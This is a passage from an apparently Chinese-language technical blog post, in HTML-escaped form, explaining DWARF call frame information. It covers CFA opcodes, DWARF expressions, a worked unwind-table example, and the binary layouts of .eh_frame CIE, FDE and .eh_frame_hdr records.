&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_expression&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x0f&lt;&#x2F;td&gt;&lt;td&gt;BLOCK&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_expression&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x10&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;BLOCK&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_offset_extended_sf&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x11&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;SLEB128 offset&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_sf&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x12&lt;&#x2F;td&gt;&lt;td&gt;ULEB128 register&lt;&#x2F;td&gt;&lt;td&gt;SLEB128 offset&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_def_cfa_offset_sf&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x13&lt;&#x2F;td&gt;&lt;td&gt;SLEB128 offset&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_offset&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x14&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_offset_sf&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x15&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;td&gt;SLEB128&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_val_expression&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x16&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;td&gt;BLOCK&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_lo_user&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x1c&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_GNU_args_size&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x2e&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_GNU_negative_offset_extended&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x2f&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;td&gt;ULEB128&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DW_CFA_hi_user&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;0x3f&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;2-4-dwarf-expression&quot;&gt;2.4 DWARF expression&lt;&#x2F;h3&gt;
&lt;p&gt;DWARF表达式描述了在程序调试期间如何计算值或命名位置。 它们以对一堆值进行操作的DWARF操作表示。&lt;&#x2F;p&gt;
&lt;p&gt;所有DWARF操作都被编码为流，每个操作码后跟零个或多个文字操作数。 操作数的数量由操作码决定。&lt;&#x2F;p&gt;
&lt;p&gt;具体DWARF表达式的运算指令在这里就不展开，感兴趣可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;DWARF4.pdf&quot;&gt;DWARF&lt;&#x2F;a&gt;&lt;code&gt;2.5 DWARF Expressions&lt;&#x2F;code&gt;一节。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;DW_CFA_def_cfa_expression&lt;&#x2F;code&gt;、&lt;code&gt;DW_CFA_expression&lt;&#x2F;code&gt; 、 &lt;code&gt;DW_CFA_val_expression&lt;&#x2F;code&gt;这几条指令在计算时用到了DWARF表达式。同时它也有限制，以下DWARF运算符不能在此类操作数中使用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;DW_OP_call2，DW_OP_call4和DW_OP_call_ref运算符在这些指令的操作数中没有意义，因为没有从调用帧信息到任何对应的调试编译单元信息的映射，因此无法解释调用偏移。&lt;&#x2F;li&gt;
&lt;li&gt;DW_OP_push_object_address在这些指令的操作数中没有意义，因为没有对象上下文可提供要推送的值。&lt;&#x2F;li&gt;
&lt;li&gt;DW_OP_call_frame_cfa在这些指令的操作数中没有意义，因为它的使用是循环的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因为&lt;code&gt;DWARF expression&lt;&#x2F;code&gt;拥有完备的图灵计算的能力，所以&lt;code&gt;eh_frame&lt;&#x2F;code&gt;容易成为攻击的后门。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-5-call-frame-instruction-usage&quot;&gt;2.5 Call Frame Instruction Usage&lt;&#x2F;h3&gt;
&lt;p&gt;CFA相关指令的解析过程如下。&lt;&#x2F;p&gt;
&lt;p&gt;首先为了给虚拟展开规则集设置一个确定位置(L1)，人们在FDE标头中进行搜索，查看&lt;code&gt;initial_location&lt;&#x2F;code&gt;和&lt;code&gt;address_range&lt;&#x2F;code&gt;值以查看L1是否包含在FDE中。 如果存在，则：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1.通过读取关联的CIE的initial_instructions字段来初始化寄存器集。&lt;&#x2F;li&gt;
&lt;li&gt;2.阅读并处理FDE的指令序列，直到遇到DW_CFA_advance_loc，DW_CFA_set_loc或指令流的末尾。&lt;&#x2F;li&gt;
&lt;li&gt;3.如果遇到DW_CFA_advance_loc或DW_CFA_set_loc指令，则计算新的位置值(L2)。如果 L1 &amp;gt;= L2，则处理指令并返回步骤2。&lt;&#x2F;li&gt;
&lt;li&gt;4.指令流的末尾可被视为DW_CFA_set_loc（初始位置+地址范围）指令。请注意，如果L2小于L1，则FDE格式不正确。&lt;&#x2F;li&gt;
&lt;li&gt;5.现在，寄存器集中的规则适用于位置L1。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-6-call-frame-calling-address&quot;&gt;2.6 Call Frame Calling Address&lt;&#x2F;h3&gt;
&lt;p&gt;展开帧时，使用者经常希望获得调用子例程的指令的地址。并非总是提供此信息。但是，通常虚拟展开表中的寄存器之一是返回地址。&lt;&#x2F;p&gt;
&lt;p&gt;如果在虚拟展开表中定义了返回地址寄存器，并且未定义其规则（例如，通过DW_CFA_undefined定义），则没有返回地址(return address)，也没有调用地址(call address)，并且堆栈激活的虚拟展开已完成。&lt;&#x2F;p&gt;
&lt;p&gt;在大多数情况下，返回地址与调用地址在同一上下文中，但不必如此，特别是如果生产者以某种方式知道该调用永不返回。 “返回地址”的上下文可能在不同的行中，在不同的词法块中或在调用子例程的末尾。如果使用者假定它与呼叫地址处于同一上下文中，则展开可能会失败。&lt;&#x2F;p&gt;
&lt;p&gt;对于具有恒定长度指令的体系结构，其中返回地址紧跟在调用指令之后，一种简单的解决方案是从返回地址中减去指令的长度以获得调用指令。对于具有可变长度指令的体系结构（例如x86），这是不可能的。但是，从返回地址减去1尽管不能保证提供准确的调用地址，但通常会在与调用地址相同的上下文中生成一个地址，通常就足够了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-7-cfi-example&quot;&gt;2.7 CFI Example&lt;&#x2F;h3&gt;
&lt;p&gt;以下示例使用摩托罗拉88000风格的假想RISC机器。它有以下特性：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;•存储器是按字节寻址的。
•指令均为4个字节，字对齐。
•指令操作数通常采用以下形式：&amp;lt;destination.reg&amp;gt;，&amp;lt;source.reg&amp;gt;，&amp;lt;constant&amp;gt;
•加载和存储指令的地址是通过将源寄存器的内容与常量相加得出的。
•有8个4字节寄存器：
	R0 始终为0
	R1 保存调用时的返回地址
	R2-R3 临时寄存器（在调用时不保护）
	R4-R6 在调用时保护
	R7 堆栈指针
•堆栈向负方向增长。
•体系结构ABI委员会指定堆栈指针（R7）与CFA相同
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;1、源码：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以下是来自名为foo的子例程的两个代码片段，该子例程使用帧指针（除了堆栈指针之外）。 第一列的值是字节地址。 ``表示以字节为单位的堆栈帧大小，即12。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;		;; 保存现场，保护 R1&amp;#x2F;R6&amp;#x2F;R4
		;; start prologue
foo 	sub R7, R7, &amp;lt;fs&amp;gt; ; Allocate frame
foo+4 	store R1, R7, (&amp;lt;fs&amp;gt;-4) ; Save the return address
foo+8 	store R6, R7, (&amp;lt;fs&amp;gt;-8) ; Save R6
foo+12 	add R6, R7, 0 ; R6 is now the Frame ptr
foo+16 	store R4, R6, (&amp;lt;fs&amp;gt;-12) ; Save a preserved reg
		;;  R5 在子函数中没有调用，所以没有保护
		;;  This subroutine does not change R5
		...
		;; 恢复现场，恢复 R4&amp;#x2F;R6&amp;#x2F;R1
		;; Start epilogue (R7 is returned to entry value)
foo+64 	load R4, R6, (&amp;lt;fs&amp;gt;-12) ; Restore R4
foo+68 	load R6, R7, (&amp;lt;fs&amp;gt;-8) ; Restore R6
foo+72 	load R1, R7, (&amp;lt;fs&amp;gt;-4) ; Restore return address
foo+76 	add R7, R7, &amp;lt;fs&amp;gt; ; Deallocate frame
foo+80 	jump R1 ; Return
foo+84
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;2、Call Frame Table&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以上代码最终生成的CFI Table如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;cfi-call-frame-table.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中的注释如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;1. R8 is the return address
2. s = same_value rule
3. u = undefined rule
4. rN = register(N) rule
5. cN = offset(N) rule
6. a = architectural rule
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;3、CIE&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;dwarf-cie-structure.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;4、FDE&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;unwind-stack-walk&#x2F;dwarf-fde-structure-example.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中的注释如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;1. &amp;lt;fs&amp;gt; = frame size
2. &amp;lt;caf&amp;gt; = code alignment factor
3. &amp;lt;daf&amp;gt; = data alignment factor
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-eh-frame-xiang-jie&quot;&gt;3. .eh_frame 详解&lt;&#x2F;h2&gt;
&lt;p&gt;使用&lt;code&gt;gcc -g&lt;&#x2F;code&gt;生成的DWARF信息存储在&lt;code&gt;debug_*&lt;&#x2F;code&gt;类型的section，我们可以使用&lt;code&gt;readelf -wi xxx&lt;&#x2F;code&gt;查看&lt;code&gt;debug_info&lt;&#x2F;code&gt;段，或者&lt;code&gt;dwarfdump xxx&lt;&#x2F;code&gt;查看debug信息。&lt;&#x2F;p&gt;
&lt;p&gt;无论是否有&lt;code&gt;-g&lt;&#x2F;code&gt;选项，gcc默认都会生成&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;和&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt; section。&lt;code&gt;-fno-asynchronous-unwind-tables&lt;&#x2F;code&gt;选项可以禁止生成&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;和&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt; section。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-eh-frame-ge-shi&quot;&gt;3.1 .eh_frame 格式&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxfoundation.org&#x2F;LSB_5.0.0&#x2F;LSB-Core-generic&#x2F;LSB-Core-generic&#x2F;ehframechpt.html&quot;&gt;LSB(Linux Standard Base)&lt;&#x2F;a&gt;中对&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.airs.com&#x2F;blog&#x2F;archives&#x2F;460&quot;&gt;.eh_frame&lt;&#x2F;a&gt;格式有详细的描述。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.eh_frame&lt;&#x2F;code&gt; section 包含一个或者多个CFI(Call Frame Information)记录。每个CFI包含一个CIE(Common Information Entry Record)记录，每个CIE包含一个或者多个FDE(Frame Description Entry)记录。&lt;&#x2F;p&gt;
&lt;p&gt;通常情况下，CIE对应一个文件，FDE对应一个函数。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-1-cie-ge-shi&quot;&gt;3.1.1 CIE 格式&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Length&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Extended Length&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CIE ID&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Version&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Augmentation String&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Code Alignment Factor&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Data Alignment Factor&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Return Address Register&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Augmentation Data Length&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Augmentation Data&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Initial Instructions&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Padding&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;具体解析如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1、Length。读取4个字节。如果它们不是0xffffffff，则它们是CIE或FDE记录的长度。否则，接下来的64位将保留长度，这是64位DWARF格式。就像.debug_frame。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;2、ID。一个4字节无符号值，对于CIE，它是0。对于FDE，它是从该字段到与该FDE关联的CIE开头的字节偏移。字节偏移量到达CIE的长度记录。正值向后退；也就是说，您必须从当前字节位置减去ID字段的值才能获得CIE位置。这与.debug_frame不同，因为偏移是相对的，而不是.debug_frame节中的偏移。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;3、Version。1字节的CIE版本。在撰写本文时，该值为1或3。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;4、Augmentation String。扩充参数字符串，以NULL结尾。这是一个字符序列。非常老版本的gcc在这里使用字符串“ eh”，但我不会对此进行记录。这将在下面进一步描述。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;5、Code Alignment Factor。代码对齐因子，无符号LEB128（LEB128是数字的DWARF编码，在此不再赘述）。对于.eh_frame，该值应始终为1。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;6、Data Alignment Factor。数据对齐因子，带符号的LEB128。如.debug_frame中所示，这是偏移指令之外的常数。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;7、Return Address Register。返回地址寄存器。在CIE版本1中，这是一个字节。在CIE版本3中，这是未签名的LEB128。这表明框架表中的哪一列代表返回地址。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;8、下面的字段含义，取决于&lt;code&gt;Augmentation String&lt;&#x2F;code&gt;的定义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x27;z’可以作为字符串的第一个字符出现。如果存在，则应显示&lt;code&gt;Augmentation Data&lt;&#x2F;code&gt;字段。 扩展数据的内容应根据扩展字符串中的其他字符来解释。
如果扩展字符串以’z’开头，下一个字段是一个无符号的LEB128即扩展数据的长度&lt;code&gt;Augmentation Data Length&lt;&#x2F;code&gt;，将其补齐以使CIE在地址边界处结束。如果看到无法识别的扩充字符，则用于跳到扩充数据&lt;code&gt;augmentation data&lt;&#x2F;code&gt;的末尾。&lt;&#x2F;li&gt;
&lt;li&gt;字符串的第一个字符之后的任何位置都可能存在’L’。 仅当’z’是字符串的第一个字符时，才可以显示该字符。
如果存在，则表示CIE的扩展数据&lt;code&gt;Augmentation Data&lt;&#x2F;code&gt;中存在一个参数&lt;code&gt;argument&lt;&#x2F;code&gt;，而FDE的扩展数据&lt;code&gt;Augmentation Data&lt;&#x2F;code&gt;中也存在相应的参数&lt;code&gt;argument&lt;&#x2F;code&gt;。
CIE的扩展数据中的参数为1字节，表示用于FDE的扩展数据中的参数的指针编码。这些编码是DW_EH_PE_xxx值（稍后描述），默认值为DW_EH_PE_absptr。
FDE的扩展数据是特定于语言的数据区（LSDA）的地址，LSDA指针的大小由所使用的指针编码指定。&lt;&#x2F;li&gt;
&lt;li&gt;字符串的第一个字符之后的任何位置都可以出现’R’。 仅当’z’是字符串的第一个字符时，才可以显示该字符。
如果存在，则CIE的扩展数据应包括一个1字节的参数，该参数表示FDE中使用的地址指针的指针编码。这些是DW_EH_PE_xxx值。默认值为DW_EH_PE_absptr。&lt;&#x2F;li&gt;
&lt;li&gt;扩充字符串中的字符’S’表示此CIE表示用于调用信号处理程序的堆栈帧。展开堆栈时，信号堆栈帧的处理方式略有不同：指令指针被假定为在下一条要执行的指令之前而不是在其之后。&lt;&#x2F;li&gt;
&lt;li&gt;字符串的第一个字符之后的任何位置都可能存在“ P”。 仅当“ z”是字符串的第一个字符时，才可以显示该字符。
如果存在，则表示在CIE的扩展数据中存在两个参数。
第一个参数为1字节，代表用于第二个参数的指针编码(DW_EH_PE_xxx)。
第二个参数是个性例程处理程序的地址。
个性例程用于处理语言和特定于供应商的任务。 系统展开库接口通过指向个性例程的指针访问特定于语言的异常处理语义。 个性例程没有特定于ABI的名称。 个性例程指针的大小由所使用的指针编码指定。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;9、Initial Instructions。其余字节是DW_CFA_xxx操作码数组，它们定义帧表的初始值。然后，根据需要跟在DW_CFA_nop填充字节之后，以匹配CIE的总长度。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-1-2-fde-ge-shi&quot;&gt;3.1.2 FDE 格式&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Length&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Extended Length&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CIE Pointer&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PC Begin&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;PC Range&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Augmentation Data Length&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Augmentation Data&lt;&#x2F;td&gt;&lt;td&gt;Optional&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Call Frame Instructions&lt;&#x2F;td&gt;&lt;td&gt;Required&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Padding&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;具体解析如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1、Length。读取4个字节。如果它们不是0xffffffff，则它们是CIE或FDE记录的长度。否则，接下来的64位将保留长度，这是64位DWARF格式。就像.debug_frame。&lt;&#x2F;li&gt;
&lt;li&gt;2、CIE Pointer。一个4字节无符号值，当从当前FDE中的CIE指针的偏移量中减去该值时，将得出关联的CIE起点的偏移量。此值绝不能为0。&lt;&#x2F;li&gt;
&lt;li&gt;3、PC Begin。此FDE适用的PC起始地址。使用关联的CIE指定的FDE编码对它进行编码(FDE encoding)。&lt;&#x2F;li&gt;
&lt;li&gt;4、PC Range。此FDE适用的PC起始地址之后的字节数。这是使用FDE编码进行编码的(FDE encoding)。&lt;&#x2F;li&gt;
&lt;li&gt;5、Augmentation Data Length。该字段仅在CIE扩展字符串以“ z”开头的情况下出现。对应一个无符号LEB128，这是FDE扩展数据的总大小。这可用于跳过与无法识别的扩展字符关联的数据。&lt;&#x2F;li&gt;
&lt;li&gt;6、Augmentation Data。如果CIE未将LSDA编码设置为DW_EH_PE_omit，则&lt;code&gt;Augmentation Data&lt;&#x2F;code&gt;中包含指向LSDA的指针，该指针由CIE指定编码(LSDA encoding)。&lt;&#x2F;li&gt;
&lt;li&gt;7、Call Frame Instructions。FDE中的其余字节是DW_CFA_xxx操作码的数组，这些操作码在帧表中设置值以退回到调用方。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-1-3-eh-frame-hdr-ge-shi&quot;&gt;3.1.3 .eh_frame_hdr 格式&lt;&#x2F;h4&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Encoding&lt;&#x2F;th&gt;&lt;th&gt;Field&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;unsigned byte&lt;&#x2F;td&gt;&lt;td&gt;version&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned byte&lt;&#x2F;td&gt;&lt;td&gt;eh_frame_ptr_enc&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned byte&lt;&#x2F;td&gt;&lt;td&gt;fde_count_enc&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned byte&lt;&#x2F;td&gt;&lt;td&gt;table_enc&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;encoded&lt;&#x2F;td&gt;&lt;td&gt;eh_frame_ptr&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;encoded&lt;&#x2F;td&gt;&lt;td&gt;fde_count&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;binary search table&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;.eh_frame_hdr&lt;&#x2F;code&gt; section包含&lt;code&gt;.eh_frame&lt;&#x2F;code&gt;的额外信息。&lt;&#x2F;p&gt;
&lt;p&gt;具体解析如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1、eh_frame_ptr_enc。eh_frame_ptr字段的编码格式。&lt;&#x2F;li&gt;
&lt;li&gt;2、fde_count_enc。fde_count字段的编码格式。DW_EH_PE_omit的值指示不存在二进制搜索表。&lt;&#x2F;li&gt;
&lt;li&gt;3、table_enc。二进制搜索表中条目的编码格式。DW_EH_PE_omit的值指示不存在二进制搜索表。&lt;&#x2F;li&gt;
&lt;li&gt;4、eh_frame_ptr。指向&lt;code&gt;.eh_frame&lt;&#x2F;code&gt; section开始指针。&lt;&#x2F;li&gt;
&lt;li&gt;5、fde_count。二进制搜索表中条目的计数值。&lt;&#x2F;li&gt;
&lt;li&gt;6、binary search table。二进制搜索表，包含fde_count个条目。每个条目包含两个值，初始位置和地址。这些条目按初始位置值的升序排列。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;3-1-4-dwarf-exception-header-encoding&quot;&gt;3.1.4 DWARF Exception Header Encoding&lt;&#x2F;h4&gt;
&lt;p&gt;DWARF异常标头编码用于描述.eh_frame和.eh_frame_hdr部分中使用的数据类型。 高4位指示如何应用该值， 低4位表示数据格式。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;低4位:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;&#x2F;th&gt;&lt;th&gt;Value&lt;&#x2F;th&gt;&lt;th&gt;Meaning&lt;&#x2F;th&gt;&lt;th&gt;Descript&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
